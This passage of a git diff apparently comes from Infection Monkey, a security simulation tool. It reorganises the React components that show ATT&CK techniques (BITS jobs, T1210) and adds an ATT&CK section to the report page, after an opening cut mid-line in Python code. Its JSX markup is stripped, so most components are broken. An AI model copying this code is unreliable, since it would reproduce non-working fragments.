host.services[SQL_SERVICE]['minor_version'] = version[1] host.services[SQL_SERVICE]['build_version'] = version[2] thread_id, curpos = struct_unpack_tracker(data, curpos, "
    • -
    • - - 5. - ATT&CK report - {this.state.completedSteps.attack_report_done ? - - : ''} - -
    • @@ -196,7 +185,6 @@ class AppComponent extends AuthComponent { {this.renderRoute('/infection/telemetry', )} {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} - {this.renderRoute('/attack_report', )} {this.renderRoute('/license', )} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/T1197.js deleted file mode 100644 index 3b0e09e7c..000000000 --- a/monkey/monkey_island/cc/ui/src/components/attack/T1197.js +++ /dev/null @@ -1,46 +0,0 @@ -import React from 'react'; -import '../../styles/Collapse.scss' -import ReactTable from "react-table"; - -let renderMachine = function (val) { - return ( - {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} - ) -}; - -const columns = [ - { - columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x), style: { 'whiteSpace': 'unset' }, width: 200}, - {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, - {Header: 'Usage', id: 'usage', accessor: x => x.usage, style: { 'whiteSpace': 'unset' }} - ] - } -]; - -class T1210 extends React.Component { - - constructor(props) { - super(props); - } - - render() { - return ( -
      -
      -
      {this.props.data.message}
      - {this.props.data.bits_jobs.length > 0 ?
      BITS jobs were used in these machines:
      : ''} -
      -
      - -
      - ); - } -} - -export default T1210; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js new file mode 100644 index 000000000..b243eb644 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js @@ -0,0 +1,49 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; + + +class T1210 extends React.Component { + + constructor(props) { + super(props); + this.columns = [ {Header: 'Machine', + id: 'machine', accessor: x => T1210.renderMachine(x), + style: { 'whiteSpace': 'unset' }, + width: 200}, + {Header: 'Time', + id: 'time', accessor: x => x.time, + style: { 'whiteSpace': 'unset' }, + width: 170}, + {Header: 'Usage', + id: 'usage', accessor: x => x.usage, + style: { 'whiteSpace': 'unset' }} + ] + } + + static renderMachine = (val) => { + return ( + {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} + ) + }; + + render() { + return ( +
      +
      +
      {this.props.data.message}
      + {this.props.data.bits_jobs.length > 0 ?
      BITS jobs were used in these machines:
      : ''} +
      +
      + +
      + ); + } +} + +export default T1210; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js similarity index 98% rename from monkey/monkey_island/cc/ui/src/components/attack/T1210.js rename to monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js index 2fd5b33e0..acc5af02b 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js @@ -1,5 +1,5 @@ import React from 'react'; -import '../../styles/Collapse.scss' +import '../../../styles/Collapse.scss' import {Link} from "react-router-dom"; import ReactTable from "react-table"; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 43be6367c..125efd264 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -11,6 +11,7 @@ import {Line} from 'rc-progress'; import AuthComponent from '../AuthComponent'; import PassTheHashMapPageComponent from "./PassTheHashMapPage"; import StrongUsers from "components/report-components/StrongUsers"; +import AttackReport from "components/report-components/AttackReport"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); let monkeyLogoImage = require('../../images/monkey-icon.svg'); @@ -140,6 +141,7 @@ class ReportPageComponent extends AuthComponent { {this.generateReportFindingsSection()} {this.generateReportRecommendationsSection()} {this.generateReportGlanceSection()} + {this.generateAttackSection()} {this.generateReportFooter()}
@@ -503,6 +505,21 @@ class ReportPageComponent extends AuthComponent { ); } + generateAttackSection() { + return (
+

+ ATT&CK report +

+

+ This report shows information about ATT&CK techniques used by Infection Monkey. +

+
+ +
+
+
) + } + generateReportFooter() { return (